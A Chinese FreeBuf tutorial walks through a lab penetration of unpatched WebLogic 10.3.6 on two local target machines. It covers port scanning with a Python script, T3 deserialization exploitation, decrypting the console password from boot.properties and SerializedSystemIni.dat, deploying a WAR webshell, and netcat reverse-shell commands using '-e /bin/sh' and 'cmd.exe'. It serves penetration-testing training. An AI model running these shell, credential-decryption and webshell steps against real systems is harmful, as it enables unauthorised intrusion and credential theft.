freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Web渗透实验:基于Weblogic的一系列漏洞
2019-01-29 09:00:18

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

*本文原创作者:zhukaiang7,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

双休刚刚过去,利用假期2天时间成功上了个王者,变成了好友第一,美滋滋,什么时候能成为渗透技术第一就好了。

image.png

一上班就接到了老大的要求,需要给最近入职的小弟深入培养一下渗透的技术,所以有了这篇文章,这次的环境如下:

1. 攻击机windows10 192.168.2.104

2. 靶机ip:

192.168.2.109(linux Ubantu)

192.168.2.111(windows2008R264位)

为了让读者看的更直观更容易理解,我分别配置了2个靶机

第一步:启动靶机服务

image.png


image.png

分别为linux和windows

靶机配置过程过于简单这里直接省略,有问题可以留言,我看到会回复的。

第二步:发现weblogic服务

当我们拥有客户授权的情况下,一般采取nmap,masscan甚至是Python自己编写的端口扫描工具,各有优缺。

网上开源很多,这里从网上拿来一款开源的扫描器(基于python2)。

代码如下:

# -*- coding: utf-8 -*-

import optparse

from threading import *

from socket import *

screenLock=Semaphore(value=1)

def connScan(tgtHost,tgtPort):

    try:

        connSkt = socket(AF_INET,SOCK_STREAM)

        connSkt.connect((tgtHost,tgtPort))

        connSkt.send('ViolentPython\r\n')

        results=connSkt.recv(100)

        screenLock.acquire()#打印前的加锁操作。

        print ('[+.+] %d/tcp 开启'% tgtPort+'   '+str(results)).decode('UTF-8').encode('GBK')

        # print ('[+.+] '+str(results))

        connSkt.close()

    except:

        screenLock.acquire()

        print ("[-.-] %s/tcp 关闭"%tgtPort).decode('UTF-8').encode('GBK')

    finally:

        screenLock.release()#终止阻塞其他线程前需要执行的代码。

        connSkt.close()

def portScan(tgtHost,tgtPorts):

    try:

        tgtIP=gethostbyname(tgtHost)

    except:

        print ("[-.-] 报告老大不能解析目标 '%s': 未知目标"%tgtHost).decode('UTF-8').encode('GBK')

        return

    try:

        tgtName=gethostbyaddr(tgtIP)

        print ('\n[+.+] 已经获得目标地址:'+tgtName[0]).decode('UTF-8').encode('GBK')

    except:

        print ('\n[+.+] 已经获得目标地址:'+tgtIP).decode('UTF-8').encode('GBK')

    setdefaulttimeout(1)

    for tgtPort in tgtPorts:

        t=Thread(target=connScan,args=(tgtHost,int(tgtPort)))#多线程

        t.start()

def main():

    print ("皮皮虾正在探路请耐心等待...").decode('UTF-8').encode('GBK')

    parser=optparse.OptionParser('usage %prog -H' +'<target host> -p <target port>')

    parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')

    parser.add_option('-P',dest='tgtPort',type='string',help='specify target post')

    (options,args)=parser.parse_args()

    tgtHost = options.tgtHost

    tgtPorts = str(options.tgtPort).split(',')

    if (tgtHost==None)|(tgtPorts[0]==None):

        print ('[-.-] 老大你忘了输入目标地址和端口啦.').decode('UTF-8').encode('GBK')

        exit(0)

    portScan(tgtHost,tgtPorts)

if __name__ == '__main__':

    print ("欢迎使用本扫描器,我是皮皮虾").decode('UTF-8').encode('GBK')

main()

具体编写指南可以参考原文链接,适合刚开始学习python的朋友们

https://bbs.ichunqiu.com/thread-40994-1-1.html

image.png

扫描结果为关闭,换个端口试试

image.png

为什么为造成这种情况呢,分析原因:

可能因为我们这个py版端口扫描是调用的socket模块,给端口发送一些垃圾数据,如果服务端返回数据才代表我们这个端口开放,所以7001端口没有给我们想要的数据,脚本就认为它没有开放。

祭出我们强大的Nmap

image.png

发现我们服务器靶机确实是开放了7001端口的,^…^。

第三步:对weblogic服务渗透的思路

发现weblogic服务,第一反应是常见的能getshell的漏洞

比如后台弱口令,密码是base64编码的,可以用burpsuite增加编码参数,也可以用网上开源的一些工具进行爆破,然后war包部署拿shell。

再比如对weblogic的T3协议,反序列化命令执行,直接执行系统命令。

像目录样例操纵和拒绝服务这些鸡肋的漏洞我们这暂且不谈。这个靠的是渗透经验,就像上次参加一个众测,网站出现了action结尾的网址时,立马直接struts2命令执行扫了一下直接getshell菜刀连上,高危漏洞吧,当然了,跟大佬们一起挖洞众测,这么简单的漏洞,比的就是速度了,后面有空会分享一些挖洞的经验,这里暂且不提。

第四步:对weblogic服务的渗透

我们这里安装的weblogic是10.3.6,没有打补丁,也没有禁用t3协议。我们可以使用工具进行反序列化利用。

image.png

(windows)

image.png

(linux)

然后执行一系列命令查看我们入侵靶机的环境

image.png

image.png

因为是靶机,直接给的administrator权限,也开放了3389端口,当然了,在实战过程中,我一开始很少连接3389上去,不安全也不可靠。

常规套路,net user增加用户,给权限等,注意如果不是公网的服务器,Web服务端口是映射出来的化,我们这边还需要给我们自己这边的攻击机弹个shell,有很多工具,这里用瑞士军刀演示。

image.png

因为是windows我们先上传瑞士军刀到服务器上,然后使用命令,转发cmd到我们的攻击机上。从weblogic反序列化得到的执行权限无法反弹,所以我们需要先上传一个大马来执行命令。因为是靶机并没有部署web环境,我们再来看控制台。 

控制台密码在目录

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties

image.png

得到了加密的用户密码:

我们开始破解它

第五步:破解weblogic控制台密码

jdk安装说明:

https://www.cnblogs.com/eagle6688/p/7873477.html

破解工具:

https://codeload.github.com/NetSPI/WebLogicPasswordDecryptor/zip/master

插件:

http://repo2.maven.org/maven2/org/bouncycastle/bcprov-ext-jdk16/1.46/bcprov-ext-jdk16-1.46.jar

将插件复制到目录

C:\Program Files\Java\jdk1.8.0_201\jre\lib\ext(jdk环境)

破解 weblogic 控制台密码需要 2 个条件

SerializedSystemIni.dat 密钥文件

(c:\Oracle\Middleware\user_projects\domains\base_domain\security\SerializedSystem Ini.dat)

boot.properties 控制台用户名和密码

(C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties) 

编译下载的破解文件

Javac WebLogicPasswordDecryptor.java

image.png

破解

image.png

记住 破解的时候java和javac 版本一定要一样,如果是后面新安装的java和之前的java会冲突,需要到系统变量中修改一下,否则会出现下图的报错

image.png

破解成功之后的

账号:weblogic

密码:weblogic123

原来是弱口令,嘿嘿。所以大家下次注意,遇到这种控制台,第一反应就是去手动尝试一些弱口令。当然也可以使用暴力破解

可以使用python脚本:

https://github.com/b4zinga/Explib/blob/master/weblogic.py

有了账号密码,就是常规套路部署war包了。

/**/

制作war包大马,把大马以zip格式压缩然后重命名为xxx.war即可

1、登录控制台(以Linux靶机为例)

访问登陆控制台

http://192.168.43.22:7001/console

选择上传文件

上传我们制作的war包大马

上传的路径

然后一直下一步

激活更改

选择刚部署的项目启动

随后访问http://192.168.43.22:7001/cmd/cmd.jsp即可打开大马

image.png

(linux)

image.png

(windows)

第六步:弹shell

在windows下:

靶机执行:

nc.exe -l -p 8888 -t -e cmd.exe 

本机执行:

nc.exe -nvv 192.168.2.111 8888

image.png

在linux下:

靶机执行:

nc 192.168.2.104 8888 -e /bin/sh

本机执行:

nc.exe -lvnp 8888

image.png

我们看到-e参数报错了这是因为

Ubuntu上默认安装的是netcat-openbsd,而不是经典的netcat-traditional

sudo apt-get -y install netcat-traditional 

然后sudo update-alternatives --config nc,选择2

image.png

Linux靶机执行:nc -vlp 8888 -e /bin/bash

image.png

本机执行:nc.exe 192.168.2.109 8888

image.png

即可成功弹shell 

第七步:横向渗透

用的比较多的是proxifier 正向代理,下一篇文件见。

*本文原创作者:zhukaiang7,本文属FreeBuf原创奖励计划,未经许可禁止转载

# 漏洞 # WEB渗透 # weblogic
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录